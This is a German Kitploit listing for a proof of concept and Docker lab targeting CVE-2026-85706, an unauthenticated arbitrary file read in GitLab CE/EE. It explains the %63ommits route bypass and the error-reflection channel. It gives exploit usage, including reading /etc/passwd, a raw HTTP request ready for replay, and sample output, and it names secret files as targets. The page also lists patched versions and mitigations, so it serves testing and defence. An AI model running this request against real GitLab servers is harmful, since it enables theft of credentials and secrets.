Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-85706 — PoC und Docker-Lab für CVE-2026-85706, ein unauthentifizierter beliebiger Datei-Lesezugriff in GitLab CE/EE über die Umgehung der Commits-API-Route und den urlencodierten Fehlerkanal. | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2026-85706
SchwachstellenanalyseExploitationWebanwendungs-ExploitationDatenexfiltrationInformationsbeschaffungWebsicherheitPenetrationstestsLabs & Praxis
GitHubeqstlab/cve-2026-85706

CVE-2026-85706

PoC und Docker-Lab für CVE-2026-85706, ein unauthentifizierter beliebiger Datei-Lesezugriff in GitLab CE/EE über die Umgehung der Commits-API-Route und den urlencodierten Fehlerkanal.

2341vor 2 TagenNoch nicht geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-85706 GitLab unauthentifizierte beliebige Dateilesung

★ CVE-2026-85706 GitLab unauthentifizierte beliebige Dateilesung PoC ★

https://github.com/user-attachments/assets/026749ec-04e9-4dd5-9453-cb7c1f6e823d


Überblick

CVE-2026-85706 ist eine unauthentifizierte beliebige Dateilesung in GitLab CE/EE (CVSS 10.0, CISA KEV) über POST /api/v4/projects/:id/repository/commits, dessen Body-Upload-Helfer vor authenticate! ausgeführt wird und params['file.path'] als absoluten Pfad ohne Einschränkung liest. Die URL-Kodierung eines Zeichens von commits → %63ommits bewirkt, dass GitLab-Workhorse die Route verfehlt (sodass file.path nie überschrieben wird), während Rails %63 → c weiterhin dekodiert und an den Handler weiterleitet — wodurch der Angreifer file.path über den Query-String setzen kann. Mit Content-Type=application/x-www-form-urlencoded parst der Helfer den Dateiinhalt erneut, und ein %, auf das nicht zwei Hex-Ziffern folgen, spiegelt diesen Inhalt im 400-Body wider (Dateien ohne ein solches liefern nur ein 401-Lese-Orakel). Erfordert mindestens ein öffentliches Projekt.


Betroffene Versionen

KategorieVersion
AnfälligGitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1
Gepatcht19.1.8 / 19.2.6 / 19.3.2 oder später (2026-09-10)

Auswirkung

  • Unauthentifizierte beliebige Dateilesung jeder Datei, die für den GitLab-Dienstprozess lesbar ist
  • Offenlegung von Dateien, deren Inhalt ein ungültiges % enthält (Anwendungsprotokolle sowie Konfigurationen/Zugangsdaten, die URL-kodierte Werte einbetten) → Recon + Diebstahl von Zugangsdaten → Verkettung zu authentifiziertem Zugriff / vollständige Kompromittierung der Instanz
  • Das Leseprimitiv erreicht hochwertige Dateien (gitlab-secrets.json, database.yml); beachten Sie, dass reine Hex-/Base64-Dateien über den öffentlichen %-Reflexionskanal nur ein Existenz-Orakel liefern (kein ungültiges %-Byte, das das Echo auslöst)
  • Der Fix fügt authenticate! vor dem Body-Upload-Helfer ein, sodass eine unauthentifizierte Anfrage abgelehnt wird, bevor die Dateilese-Senke erreicht wird

Umgebung

Erstellen und starten Sie das anfällige GitLab CE. Beim Boot legt der Seeder /flag.txt an (mit einem abschließenden %-Leak-Trigger) und erstellt ein öffentliches Projekt victim/public-app (Projekt-ID 1), damit die Commits-API unauthentifiziert erreichbar ist. Der erste Boot dauert ~2–3 Minuten.

docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706

# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log   # look for: [seed] SEED_DONE ...

Die Flag ist ein Platzhalter (EQST{gitlab_cve_2026_85706_arbitrary_file_read}). Setzen Sie Ihre eigene zur Laufzeit, ohne das Image zu bearbeiten: docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706.

VorbedingungZustand in diesem Lab
GitLab 18.7 – 19.1.719.1.7-ce.0
Mindestens ein öffentliches Projekt (anon erreicht die Commits-API)victim/public-app (id 1), automatisch erstellt
/api/v4/projects/:id/repository/commits unauthentifiziert erreichbarexponiert
Flag auf dem Server-Dateisystem/flag.txt (abschließender %-Reflexions-Trigger)

PoC

Der Exploit gitlab_exploit.py liest eine Datei vom Server mit einer einzigen unauthentifizierten Anfrage, unter Verwendung des %63ommits-Workhorse-Route-Bypasses und des urlencoded Re-Parse-Fehlerkanals. Wählen Sie die Datei mit --read (Standard /flag.txt).

# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2

# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd

# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target   http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
    EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}

Optionen:

  • --read "<abs path>" — absoluter Dateipfad zum Lesen (Standard /flag.txt)
  • --project <id> — öffentliche Projekt-ID, unauthentifiziert erreichbar (Standard 1)
  • --check — nur bestätigen, dass die Dateilesen-Senke erreichbar ist (erwartet local file not present)

Rohe Anfrage (für Burp Repeater):

POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close


Gegenmaßnahmen

  • Aktualisieren Sie GitLab auf 19.1.8 / 19.2.6 / 19.3.2 oder später
  • Wenn Sie nicht sofort aktualisieren können, blockieren Sie POST/PUT auf */repository/commits* und */repository/files* an einem Proxy/WAF und platzieren Sie die Instanz hinter SSO / VPN / einer IP-Allowlist
  • Nach dem Patchen: Gehen Sie davon aus, dass jede für den GitLab-Dienst lesbare Datei (Protokolle, Konfigurationen, Secrets) exponiert war, wenn der Endpunkt über das Internet erreichbar war — invalidieren Sie Sitzungen und rotieren Sie exponierte Zugangsdaten / Secrets

Analyse

  • KR:
  • EN:
Tool herunterladen